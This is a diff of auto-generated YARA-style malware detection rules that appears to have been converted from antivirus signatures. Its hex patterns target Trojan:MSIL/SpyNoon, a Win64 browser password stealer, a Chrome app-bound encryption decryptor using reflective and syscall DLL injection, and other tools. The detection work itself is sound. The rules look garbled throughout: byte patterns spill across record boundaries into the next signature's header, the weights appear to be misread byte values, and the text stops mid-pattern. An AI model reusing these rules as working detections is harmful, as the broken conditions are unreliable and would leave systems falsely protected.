0f 84 90 01 04 74 90 01 01 83 7d 0c 05 90 03 05 04 0f 84 90 01 04 74 90 01 01 83 7d 0c 02 90 03 05 04 0f 84 90 01 04 74 90 01 01 ff 75 14 ff 75 } //22984 - $a_0c_12 = {ff 75 08 ff 15 90 00 01 00 20 03 c7 01 01 00 00 00 6a 00 6a 06 68 bc 02 00 00 ff 75 08 ff 15 90 01 04 b8 01 00 00 00 48 e9 90 00 01 00 51 03 ff 07 39 07 90 03 05 04 0f 85 90 01 04 75 90 01 01 31 d2 83 c0 01 b9 90 01 04 89 01 a1 90 01 04 8d b0 90 01 04 8b 1d 90 01 04 81 eb 90 01 04 90 02 10 90 04 01 02 eb e9 90 09 11 00 90 02 08 39 08 90 03 05 04 0f } //-240 - $a_04_13 = {75 } //-28539 u + $a_45_8 = {8b 0d 90 01 04 34 90 01 01 04 90 01 01 88 01 90 00 9c ff 1e 03 66 0b d0 66 8b 45 90 01 01 80 c1 90 01 01 e9 90 16 66 3b c2 0f 84 90 01 04 c0 c9 06 90 00 9c ff 0d 03 32 d2 0a c2 28 45 90 09 02 00 34 90 00 9c ff 0b 03 8a 45 0b 8b 0d 90 01 07 34 90 00 9c ff 1c 03 8a 0c 01 8b 55 90 01 01 80 e9 90 01 01 80 f1 90 01 01 80 c1 90 01 01 88 0c 02 90 00 00 00 78 a3 01 00 03 00 03 00 06 00 21 23 41 4c 46 3a 48 61 63 6b 54 } //788 + $a_3a_9 = {53 49 4c 2f 57 72 65 74 63 68 65 64 49 6e 73 65 63 74 2e 42 21 64 68 61 00 01 00 6a 01 54 00 68 00 65 00 20 00 65 00 6e 00 64 00 20 00 74 00 69 00 6d 00 65 00 20 00 68 00 61 00 73 00 20 00 61 00 72 00 72 00 69 00 76 00 65 00 64 00 21 00 20 00 63 00 61 00 6e 00 63 00 65 00 6c 00 20 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 } //28527 + $a_00_11 = {30 00 7d 00 20 00 3e 00 3d 00 20 00 7b 00 31 00 7d 00 01 00 2e 01 52 00 61 00 6e 00 67 00 65 00 20 00 6f 00 66 00 20 00 44 00 77 00 6f 00 6e 00 6c 00 6f 00 61 00 64 00 20 00 54 00 69 00 6d 00 65 00 3a 00 01 00 20 01 57 00 61 00 69 00 74 00 20 00 44 00 77 00 6f 00 6e 00 6c 00 6f 00 61 00 64 00 2e 00 2e 00 2e 00 01 00 30 01 4e 00 6f 00 77 00 54 00 69 00 6d 00 65 00 20 } //32 + $a_00_13 = {6f 00 77 00 6e 00 45 00 6e 00 64 00 54 00 69 00 6d 00 65 00 20 00 21 00 01 00 3c 01 44 00 6f 00 77 00 6e 00 53 00 74 00 61 00 72 00 74 00 54 00 69 00 6d 00 65 00 20 00 3e 00 3d 00 20 00 44 00 6f 00 77 00 } //32 condition: - ((#a_6e_0 & 1)*22307+(#a_00_2 & 1)*117+(#a_00_3 & 1)*103+(#a_00_4 & 1)*61+(#a_50_5 & 1)*28005+(#a_2e_6 & 1)*28789+(#a_5d_7 & 1)*2885+(#a_45_8 & 1)*788+(#a_3a_9 & 1)*28527+(#a_30_10 & 1)*400+(#a_13_11 & 1)*22984+(#a_0c_12 & 1)*-240+(#a_04_13 & 1)*-28539) >=14 + ((#a_6e_0 & 1)*22307+(#a_00_2 & 1)*117+(#a_00_3 & 1)*103+(#a_00_4 & 1)*61+(#a_50_5 & 1)*28005+(#a_2e_6 & 1)*28789+(#a_5d_7 & 1)*2885+(#a_45_8 & 1)*788+(#a_3a_9 & 1)*28527+(#a_00_11 & 1)*32+(#a_00_13 & 1)*32) >=14 } -rule _InfrastructureShared_19132{ +rule _InfrastructureShared_20327{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 15 00 21 " @@ -235104,25 +249886,38 @@ rule _InfrastructureShared_19132{ $a_00_1 = {04 } //13556 $a_f4_2 = {01 00 11 03 0f b6 45 0b 8b 4d 90 17 03 01 01 01 fc f8 f4 90 00 01 00 11 03 0f b6 4d 0b 8b 55 90 17 03 01 01 01 fc f8 f4 90 00 01 00 11 03 0f b6 45 0b 8b 5d 90 17 03 01 01 01 fc f8 f4 90 00 9c ff 15 03 8b 55 08 8a 54 15 90 01 01 34 90 01 01 04 90 01 01 3a d0 90 00 9c ff 07 01 8a } //-29951 $a_4d_3 = {34 9c ff 07 01 8b 45 08 8a 08 80 c1 9c ff 17 03 8a 45 0b 8b 0d 90 01 04 8b 75 90 03 01 01 0c f4 34 90 01 01 04 90 00 9c ff 10 03 8a 44 24 2f 8b 0d 90 01 04 34 90 01 01 04 90 00 9c ff 1d 03 c0 45 0f 03 8b 45 90 01 01 8a 5d 0f 88 18 8b 45 90 01 01 40 89 45 90 01 01 3b 45 90 00 9c ff 14 03 8a 45 ff 8b 0d 90 01 04 34 90 01 01 04 90 01 01 88 01 90 00 9c ff 1e 03 66 0b d0 66 8b 45 90 01 01 80 c1 90 01 01 e9 90 16 66 3b } //2885 - $a_90_4 = {04 c0 c9 06 90 00 9c ff 0d 03 32 d2 0a c2 28 45 90 09 02 00 34 90 00 9c ff 0b 03 8a 45 0b 8b 0d 90 01 07 34 90 00 9c ff 1c 03 8a 0c 01 8b 55 90 01 01 80 e9 90 01 01 80 f1 90 01 01 80 c1 90 01 01 88 0c 02 90 00 00 00 78 a3 01 00 03 00 03 00 06 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 41 4c 47 00 02 00 3f 03 8b 0e 83 c6 01 8d 01 83 c6 03 } //4034 - $a_31_5 = {83 eb 02 } //23437 - $a_0b_6 = {35 90 01 04 83 ea 02 66 90 04 01 02 35 83 90 01 02 4a 90 18 4a d3 c0 89 f9 85 d2 8d 7f 04 89 01 90 03 02 01 0f 84 74 90 00 02 00 29 03 8d 0b 35 00 00 90 01 02 4a 4a 4a 51 b5 90 01 01 b1 90 01 01 30 ec 30 c8 59 90 13 4a d3 c0 89 f9 85 d2 8d 7f 04 89 01 90 00 01 00 1e 03 6a 40 68 00 10 00 00 68 90 01 04 6a 00 90 13 a1 90 01 04 8b 10 89 15 90 01 04 ff 25 90 00 01 00 68 03 83 7d 0c 01 90 03 05 04 0f 84 90 01 04 74 90 01 01 } //6288 - $a_0f_7 = {90 03 05 04 0f 84 90 01 04 74 90 01 } //32131 - $a_0c_8 = {13 01 00 00 90 03 05 04 0f 84 90 01 04 74 90 01 01 83 7d 0c 05 90 03 05 04 0f 84 90 01 04 74 90 01 01 83 7d 0c 02 90 03 05 04 0f 84 90 01 04 74 90 01 01 ff 75 14 ff 75 10 ff 75 0c ff 75 08 ff 15 90 00 01 00 20 03 c7 01 01 00 00 00 6a 00 6a 06 68 bc 02 00 00 ff 75 08 ff 15 90 01 04 b8 01 00 00 00 48 e9 90 00 01 00 51 03 ff 07 39 07 90 03 05 04 0f 85 90 01 04 75 90 01 01 31 } //-32511 - $a_01_9 = {b9 90 01 04 89 01 a1 90 01 04 8d b0 90 01 04 8b 1d 90 01 04 81 eb 90 01 04 90 02 10 90 04 01 02 eb e9 90 09 11 00 90 02 08 39 08 90 03 05 04 0f 85 90 01 04 75 90 01 01 b8 90 00 00 00 78 a3 01 00 03 00 03 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 65 74 74 65 72 6d 61 6e 69 61 2e 42 21 64 68 61 00 01 00 22 01 65 00 78 00 63 00 68 00 61 00 6e 00 67 00 65 00 4c 00 6f 00 67 00 46 00 6f 00 6c 00 64 00 65 00 72 00 01 00 34 01 65 00 78 00 63 00 68 00 61 00 6e 00 67 00 65 00 4c 00 61 00 74 00 65 00 73 00 74 00 52 00 65 00 61 00 64 00 65 00 64 00 46 00 } //-31790 - $a_00_10 = {64 00 65 00 72 00 01 00 30 01 65 00 78 00 63 00 68 00 61 00 6e 00 67 00 65 00 4c 00 61 00 74 00 65 00 73 00 74 00 52 00 65 00 61 00 64 00 65 00 64 00 46 00 69 00 6c 00 65 00 01 00 24 01 57 00 72 00 69 00 74 00 65 00 20 00 2d 00 2d 00 3e 00 20 00 45 00 58 00 43 00 48 00 41 00 4e 00 47 00 45 00 01 00 30 01 50 00 72 00 6f 00 } //111 - $a_00_11 = {73 00 73 00 4c 00 6f 00 67 00 46 00 6f 00 6c 00 64 00 65 00 72 00 20 00 31 00 20 00 45 00 6e 00 74 00 65 00 72 00 01 00 30 01 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 45 00 78 00 63 00 68 00 61 00 6e 00 67 00 65 00 5c 00 4c 00 6f 00 67 00 5c 00 01 00 50 01 43 00 3a 00 5c 00 57 } //99 - $a_00_13 = {77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 69 00 6e 00 65 00 74 00 73 00 72 00 76 00 5c 00 49 00 6e 00 65 00 74 00 4d 00 67 00 72 00 37 00 2e 00 65 00 78 00 65 00 00 00 78 a3 01 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 70 79 4e 6f 6f 6e 2e 4b 4f 4f 41 31 32 33 21 } //100 - $a_00_14 = {01 00 58 01 57 17 02 1e 09 0a 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 3e 00 00 00 09 00 00 00 1d 00 00 00 1a 00 00 00 1b 00 00 00 02 00 00 00 46 00 00 00 14 00 00 00 0b 00 00 00 04 00 00 00 01 00 } //21581 - $a_00_15 = {00 00 02 00 00 00 01 00 00 00 06 00 00 00 } //0 - $a_81_18 = {64 30 50 38 52 54 37 6f 59 6c 31 68 62 51 44 6d 35 70 67 50 56 73 52 46 74 66 33 78 52 4f 4c 36 50 2f 48 48 7a 6a 33 6b 70 } //1 d0P8RT7oYl1hbQDm5pgPVsRFtf3xROL6P/HHzj3kp - $a_81_19 = {70 53 67 39 51 35 37 6b 46 50 43 4d 62 6b 76 6a 6a 45 49 57 72 67 3d 3d } //1 pSg9Q57kFPCMbkvjjEIWrg== - $a_81_20 = {50 39 5a 47 4f 6c 56 69 4a 48 71 76 38 63 74 64 70 43 36 77 77 67 3d 3d } //1 P9ZGOlViJHqv8ctdpC6wwg== + $a_90_4 = {04 c0 c9 06 90 00 9c ff 0d 03 32 d2 0a c2 28 45 90 09 02 00 34 90 00 9c ff 0b 03 8a 45 0b 8b 0d 90 01 07 34 90 00 9c ff 1c 03 8a 0c 01 8b 55 90 01 01 80 e9 90 01 01 80 f1 90 01 01 80 c1 90 01 01 88 0c 02 90 00 00 00 78 a3 01 00 03 00 03 00 06 00 21 23 41 4c 46 3a 48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 57 72 65 74 63 68 65 64 49 6e 73 65 63 74 2e 42 21 64 68 61 00 01 00 6a 01 54 00 68 00 65 } //4034 + $a_00_6 = {20 00 74 00 69 00 6d 00 65 00 20 00 68 00 61 00 73 00 20 00 61 00 72 00 72 00 69 00 76 00 65 00 64 00 21 00 20 00 63 00 61 00 6e 00 63 00 65 00 6c 00 20 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 3a 00 20 00 7b 00 30 00 7d 00 20 00 3e 00 3d 00 20 00 7b 00 31 00 7d 00 01 00 2e 01 52 00 61 00 } //110 + $a_00_7 = {65 00 20 00 6f 00 66 00 20 00 44 00 77 00 6f 00 6e 00 6c 00 6f 00 61 00 64 00 20 00 54 00 69 00 6d 00 65 00 3a 00 01 00 20 01 57 00 61 00 69 00 74 00 20 00 44 00 77 00 6f 00 6e 00 6c 00 6f 00 61 00 64 00 2e 00 2e 00 2e 00 01 00 30 01 4e 00 6f 00 77 00 54 00 69 00 6d 00 65 00 20 00 3e 00 3d 00 20 00 44 00 6f } //110 + $a_00_9 = {64 00 54 00 69 00 6d 00 65 00 20 00 21 00 01 00 3c 01 44 00 6f 00 77 00 6e 00 53 00 74 00 61 00 72 00 74 00 54 00 69 00 6d 00 65 00 20 00 3e 00 3d 00 20 00 44 00 6f 00 77 00 6e 00 45 00 6e 00 64 00 54 00 69 00 6d 00 65 00 20 00 21 00 01 00 36 01 72 00 65 00 6e 00 61 00 6d 00 65 00 64 00 20 00 66 00 6f 00 6c 00 64 00 65 00 72 00 } //69 + $a_00_10 = {73 00 20 00 66 00 61 00 69 00 6c 00 65 00 64 00 21 00 3a 00 20 00 00 00 78 a3 01 00 03 00 03 00 06 00 21 23 48 53 54 52 3a 56 69 72 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4f 62 66 75 73 63 61 74 6f 72 2e 41 4c 47 00 02 00 3f 03 8b 0e 83 c6 01 8d 01 83 c6 03 8d 5b 03 31 c9 83 eb 02 90 18 8d 0b 35 90 01 04 83 ea 02 66 90 } //32 + $a_35_11 = {90 01 } //260 + $a_18_12 = {d3 c0 89 f9 85 d2 8d 7f 04 89 01 90 03 02 01 0f 84 74 90 00 02 00 29 03 8d 0b 35 00 00 90 01 02 4a 4a 4a 51 b5 90 01 01 b1 90 01 01 30 ec 30 c8 59 90 13 4a d3 c0 89 f9 85 d2 8d 7f 04 89 01 90 00 01 00 1e 03 6a 40 68 00 10 00 00 68 90 01 04 6a 00 90 13 a1 90 01 04 8b 10 89 15 90 01 04 ff 25 90 00 01 00 68 03 83 7d 0c 01 90 03 05 04 0f 84 90 01 04 74 90 01 01 83 7d 0c 0f 90 03 05 04 0f 84 90 01 04 74 90 01 01 81 7d 0c 13 01 00 00 } //18946 + $a_04_13 = {0f 84 90 01 04 } //912 + $a_01_14 = {83 } //-28556 + $a_90_15 = {05 04 0f 84 90 } //3197 + $a_90_16 = {01 83 7d 0c 02 90 03 05 04 0f 84 90 01 04 74 90 01 01 ff 75 14 ff 75 10 ff 75 0c ff 75 08 ff 15 90 00 01 00 20 03 c7 01 01 00 00 00 6a 00 6a 06 68 bc 02 00 00 ff 75 08 ff 15 90 01 04 b8 01 00 00 00 48 e9 90 00 01 00 51 03 ff 07 39 07 90 03 05 04 0f 85 90 01 04 75 90 01 01 31 d2 83 c0 01 b9 90 01 04 89 01 a1 90 01 04 8d b0 90 01 04 8b 1d 90 01 04 } //1025 + $a_01_17 = {04 90 02 10 90 04 01 02 eb e9 90 09 11 00 90 02 08 39 08 90 03 05 04 0f 85 90 01 04 75 90 01 01 b8 90 00 00 00 78 a3 01 00 03 00 03 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4c 65 74 74 65 72 6d 61 6e 69 61 2e 42 21 64 68 61 00 01 00 22 01 65 00 78 00 63 00 68 00 61 00 6e 00 67 00 65 00 4c 00 6f 00 67 00 46 00 6f 00 6c 00 64 00 65 00 72 00 01 00 34 01 65 00 78 00 63 00 68 00 61 00 6e 00 67 00 65 00 4c 00 } //-5247 + $a_00_18 = {65 00 73 00 74 00 52 00 65 00 61 00 64 00 65 00 64 00 46 00 6f 00 6c 00 64 00 65 00 72 00 01 00 30 01 65 00 78 00 63 00 68 00 61 00 6e 00 67 00 65 00 4c 00 61 00 74 00 65 00 73 00 74 00 52 00 65 00 61 00 64 00 65 00 64 00 46 00 69 00 6c 00 65 00 01 00 24 01 57 00 72 00 69 00 74 00 65 00 20 00 2d 00 2d 00 3e 00 20 00 45 00 58 00 43 00 48 00 41 00 } //97 + $a_00_19 = {45 00 01 00 30 01 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 4c 00 6f 00 67 00 46 00 6f 00 6c 00 64 00 65 00 72 00 20 00 31 00 20 00 45 00 6e 00 74 00 65 00 72 00 01 00 30 01 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 } //78 condition: - ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*13556+(#a_f4_2 & 1)*-29951+(#a_4d_3 & 1)*2885+(#a_90_4 & 1)*4034+(#a_31_5 & 1)*23437+(#a_0b_6 & 1)*6288+(#a_0f_7 & 1)*32131+(#a_0c_8 & 1)*-32511+(#a_01_9 & 1)*-31790+(#a_00_10 & 1)*111+(#a_00_11 & 1)*99+(#a_00_13 & 1)*100+(#a_00_14 & 1)*21581+(#a_00_15 & 1)*0+(#a_81_18 & 1)*1+(#a_81_19 & 1)*1+(#a_81_20 & 1)*1) >=1 + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*13556+(#a_f4_2 & 1)*-29951+(#a_4d_3 & 1)*2885+(#a_90_4 & 1)*4034+(#a_00_6 & 1)*110+(#a_00_7 & 1)*110+(#a_00_9 & 1)*69+(#a_00_10 & 1)*32+(#a_35_11 & 1)*260+(#a_18_12 & 1)*18946+(#a_04_13 & 1)*912+(#a_01_14 & 1)*-28556+(#a_90_15 & 1)*3197+(#a_90_16 & 1)*1025+(#a_01_17 & 1)*-5247+(#a_00_18 & 1)*97+(#a_00_19 & 1)*78) >=1 } -rule _InfrastructureShared_19133{ +rule _InfrastructureShared_20328{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " + + strings : + $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 4d 53 49 4c 2f 57 72 65 74 63 68 65 64 49 6e 73 65 63 74 2e 42 21 64 68 61 00 01 00 6a 01 54 00 68 00 65 00 20 00 65 00 6e 00 64 00 20 00 74 00 69 00 6d 00 65 00 20 00 68 00 61 00 73 00 20 00 61 00 72 } //16675 + $a_00_2 = {64 00 21 00 20 00 63 00 61 00 6e 00 63 00 65 00 6c 00 20 00 64 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 3a 00 20 00 7b 00 30 00 7d 00 20 00 3e 00 3d 00 20 00 7b 00 31 00 7d 00 01 00 2e 01 52 00 61 00 6e 00 67 00 65 00 20 00 6f 00 66 00 20 00 44 00 77 00 6f 00 6e 00 6c 00 6f 00 61 00 64 00 20 00 54 } //118 + $a_00_4 = {01 00 20 01 57 00 61 00 69 00 74 00 20 00 44 00 77 00 6f 00 6e 00 6c 00 6f 00 61 00 64 00 2e 00 2e 00 2e 00 01 00 30 01 4e 00 6f 00 77 00 54 00 69 00 6d 00 65 00 20 00 3e 00 } //101 + $a_00_5 = {44 00 6f 00 77 00 6e 00 45 00 6e 00 64 00 54 00 69 00 6d 00 65 00 20 00 21 00 01 00 3c 01 44 00 } //61 + condition: + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*118+(#a_00_4 & 1)*101+(#a_00_5 & 1)*61) >=3 + +} +rule _InfrastructureShared_20329{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -235137,7 +249932,7 @@ rule _InfrastructureShared_19133{ ((#a_54_0 & 1)*18467+(#a_89_1 & 1)*32653+(#a_90_2 & 1)*-31729+(#a_0c_3 & 1)*-32511+(#a_01_4 & 1)*-31790+(#a_00_5 & 1)*111) >=3 } -rule _InfrastructureShared_19134{ +rule _InfrastructureShared_20330{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -235146,12 +249941,30 @@ rule _InfrastructureShared_19134{ $a_00_2 = {67 00 65 00 4c 00 61 00 74 00 65 00 73 00 74 00 52 00 65 00 61 00 64 00 65 00 64 00 46 00 6f 00 6c 00 64 00 65 00 72 00 01 00 30 01 65 00 78 00 63 00 68 00 61 00 6e 00 67 00 65 00 4c 00 61 00 74 00 65 00 73 00 74 00 52 00 65 00 61 00 64 00 65 00 64 00 46 00 69 00 6c 00 65 00 01 00 24 01 57 00 72 00 69 00 74 00 65 00 20 00 2d 00 } //97 $a_00_3 = {20 00 45 00 58 00 43 00 48 00 41 00 4e 00 47 00 45 00 01 00 30 01 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 4c 00 6f 00 67 00 46 00 6f 00 6c 00 64 00 65 00 72 00 20 00 31 00 20 00 45 00 } //45 $a_00_4 = {65 00 72 00 01 00 30 01 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 45 00 78 00 63 00 68 00 61 00 6e 00 67 00 65 00 5c 00 4c 00 6f 00 67 00 5c 00 01 00 50 01 43 00 3a 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 69 00 6e 00 65 00 74 00 73 00 72 00 76 00 5c 00 } //110 - $a_00_5 = {65 00 74 00 4d 00 67 00 72 00 37 00 2e 00 65 00 78 00 65 00 00 00 78 a3 01 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 70 79 4e 6f 6f 6e 2e 4b 4f 4f 41 31 32 33 21 4d 54 42 00 01 00 58 01 57 17 02 1e 09 0a 00 00 00 fa 01 33 00 16 00 00 01 00 00 00 3e 00 00 00 09 00 00 00 1d 00 00 00 1a 00 00 } //73 + $a_00_5 = {65 00 74 00 4d 00 67 00 72 00 37 00 2e 00 65 00 78 00 65 00 00 00 78 a3 01 00 06 00 06 00 09 00 21 23 53 4c 46 3a 50 57 53 3a 57 69 6e 36 34 2f 42 72 6f 77 73 65 72 53 74 65 61 6c 65 72 00 01 00 17 01 42 72 6f 77 73 65 72 20 74 79 70 65 20 61 72 67 75 6d 65 6e 74 3a 20 01 00 36 01 63 68 72 6f 6d 65 5f 64 65 63 72 79 70 74 2e 64 } //73 + $a_6e_6 = {74 20 66 6f 75 6e 64 2e 20 45 78 70 65 63 74 65 64 20 6e 65 61 72 20 69 6e 6a 65 63 74 6f 72 3a } //27756 t found. Expected near injector: condition: - ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*97+(#a_00_3 & 1)*45+(#a_00_4 & 1)*110+(#a_00_5 & 1)*73) >=3 + ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*97+(#a_00_3 & 1)*45+(#a_00_4 & 1)*110+(#a_00_5 & 1)*73+(#a_6e_6 & 1)*27756) >=3 } -rule _InfrastructureShared_19135{ +rule _InfrastructureShared_20331{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " + + strings : + $a_46_0 = {50 57 53 3a 57 69 6e 36 34 2f 42 72 6f 77 73 65 72 53 74 65 61 6c 65 72 00 01 00 17 01 42 72 6f 77 73 65 72 20 74 79 70 65 20 61 72 67 75 6d 65 6e 74 3a 20 01 00 36 01 63 68 72 6f 6d 65 5f 64 65 63 72 79 70 74 2e 64 6c 6c 20 6e } //21283 + $a_66_1 = {75 6e 64 2e 20 45 78 70 65 63 74 65 64 20 6e 65 61 72 20 69 6e 6a 65 63 74 6f 72 3a 20 01 00 3b } //29807 + $a_6f_2 = {73 65 72 20 77 61 73 20 61 6c 72 65 61 64 79 20 72 75 6e 6e 69 6e 67 3b 20 69 6e 6a 65 63 74 6f 72 20 77 69 6c 6c 20 6e 6f 74 20 74 65 72 6d 69 6e 61 74 65 20 69 74 01 00 2c 01 52 65 66 6c 65 63 74 69 76 65 20 44 4c 4c 20 49 6e 6a 65 63 74 69 6f 6e 20 28 52 44 49 20 77 69 74 68 20 53 79 73 63 61 6c 6c 73 29 01 00 18 01 54 65 72 6d 69 6e 61 } //16897 + $a_67_3 = {62 72 6f 77 73 65 72 20 50 49 44 3d 01 00 13 01 50 72 6f 63 65 73 73 54 6f 4b 69 6c 6c 48 61 6e 64 6c 65 03 00 26 01 43 68 72 6f 6d 65 20 41 70 70 2d 42 6f 75 6e 64 20 45 6e 63 72 79 70 74 69 6f 6e 20 44 65 63 72 79 70 74 69 6f 6e 03 00 1f 01 44 69 72 65 63 74 20 53 79 73 63 61 6c 6c 20 49 6e 6a 65 63 74 69 6f 6e 20 45 6e 67 69 } //26996 + $a_00_4 = {34 01 5c 00 5c 00 } //25966 Ĵ\\ + $a_00_5 = {70 00 69 00 70 00 65 00 5c 00 43 00 68 00 72 00 6f 00 6d 00 65 00 44 00 65 00 63 00 72 00 79 00 70 00 74 00 49 00 50 00 43 00 5f 00 00 00 78 a3 01 00 08 00 08 00 08 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 70 79 4e 6f 6f 6e 2e 4b 4f 4f 41 31 32 33 21 4d } //46 + $a_57_7 = {02 } //22528 + $a_00_8 = {00 00 fa 01 33 00 16 00 00 01 } //2334 + condition: + ((#a_46_0 & 1)*21283+(#a_66_1 & 1)*29807+(#a_6f_2 & 1)*16897+(#a_67_3 & 1)*26996+(#a_00_4 & 1)*25966+(#a_00_5 & 1)*46+(#a_57_7 & 1)*22528+(#a_00_8 & 1)*2334) >=6 + +} +rule _InfrastructureShared_20332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -235164,7 +249977,7 @@ rule _InfrastructureShared_19135{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_00_2 & 1)*0+(#a_50_7 & 1)*25601) >=8 } -rule _InfrastructureShared_19136{ +rule _InfrastructureShared_20333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -235181,7 +249994,7 @@ rule _InfrastructureShared_19136{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*25445+(#a_00_2 & 1)*111+(#a_00_3 & 1)*111+(#a_00_5 & 1)*1+(#a_6e_6 & 1)*22330+(#a_65_7 & 1)*25970+(#a_67_8 & 1)*26990) >=8 } -rule _InfrastructureShared_19137{ +rule _InfrastructureShared_20334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -235200,7 +250013,7 @@ rule _InfrastructureShared_19137{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28523+(#a_01_2 & 1)*7168+(#a_65_3 & 1)*23660+(#a_31_4 & 1)*17746+(#a_0b_5 & 1)*400+(#a_8d_6 & 1)*6148+(#a_04_7 & 1)*-28632+(#a_59_8 & 1)*1792+(#a_00_9 & 1)*144) >=10 } -rule _InfrastructureShared_19138{ +rule _InfrastructureShared_20335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 0b 00 21 " @@ -235220,7 +250033,7 @@ rule _InfrastructureShared_19138{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*28528+(#a_04_2 & 1)*43+(#a_65_3 & 1)*265+(#a_75_4 & 1)*29541+(#a_45_5 & 1)*20526+(#a_6f_6 & 1)*20481+(#a_5f_7 & 1)*24937+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_a4_10 & 1)*0) >=11 } -rule _InfrastructureShared_19139{ +rule _InfrastructureShared_20336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 10 00 21 " @@ -235244,7 +250057,7 @@ rule _InfrastructureShared_19139{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*21359+(#a_72_2 & 1)*26734+(#a_44_3 & 1)*29286+(#a_38_4 & 1)*25657+(#a_2f_5 & 1)*21061+(#a_de_6 & 1)*30908+(#a_90_7 & 1)*11600+(#a_90_8 & 1)*-14256+(#a_01_9 & 1)*257+(#a_01_10 & 1)*257+(#a_01_11 & 1)*257+(#a_43_12 & 1)*8979+(#a_2e_13 & 1)*20853+(#a_75_15 & 1)*30063) >=16 } -rule _InfrastructureShared_19140{ +rule _InfrastructureShared_20337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -235255,7 +250068,7 @@ rule _InfrastructureShared_19140{ ((#a_46_0 & 1)*16675+(#a_d8_1 & 1)*-18264) >=1 } -rule _InfrastructureShared_19141{ +rule _InfrastructureShared_20338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0a 00 21 " @@ -235272,7 +250085,7 @@ rule _InfrastructureShared_19141{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*18688+(#a_00_2 & 1)*109+(#a_00_4 & 1)*46+(#a_00_5 & 1)*-23432+(#a_48_7 & 1)*8448+(#a_6c_8 & 1)*25960+(#a_32_9 & 1)*17218) >=3 } -rule _InfrastructureShared_19142{ +rule _InfrastructureShared_20339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -235290,7 +250103,7 @@ rule _InfrastructureShared_19142{ ((#a_54_0 & 1)*18467+(#a_46_1 & 1)*13381+(#a_39_2 & 1)*17477+(#a_01_3 & 1)*1+(#a_01_4 & 1)*2+(#a_01_5 & 1)*2+(#a_01_6 & 1)*2+(#a_01_7 & 1)*2+(#a_a4_8 & 1)*0) >=4 } -rule _InfrastructureShared_19143{ +rule _InfrastructureShared_20340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 16 00 21 " @@ -235305,17 +250118,19 @@ rule _InfrastructureShared_19143{ $a_31_9 = {35 2b 36 2b 38 2b 44 2b 37 2b 38 2b 38 31 32 37 35 2b 38 2b 38 2b 38 2b 38 31 44 2b 35 31 44 2b 35 2b 35 2b 2b 2b 32 2b 45 2b 45 2b 45 2b 41 31 01 } //13619 $a_01_10 = {50 69 7a 7a 61 43 57 2e 52 65 73 6f 75 72 63 65 73 01 00 24 81 01 53 74 65 6c 6c 61 5f 44 61 75 70 69 6e 65 5f 5f 35 30 5f 4e 75 64 65 5f 50 68 6f 74 6f 73 5f 5f 5f 31 31 5f 01 00 24 81 01 53 74 65 6c 6c 61 5f 44 61 75 70 69 6e 65 5f 5f 35 30 5f 4e 75 64 65 5f 50 68 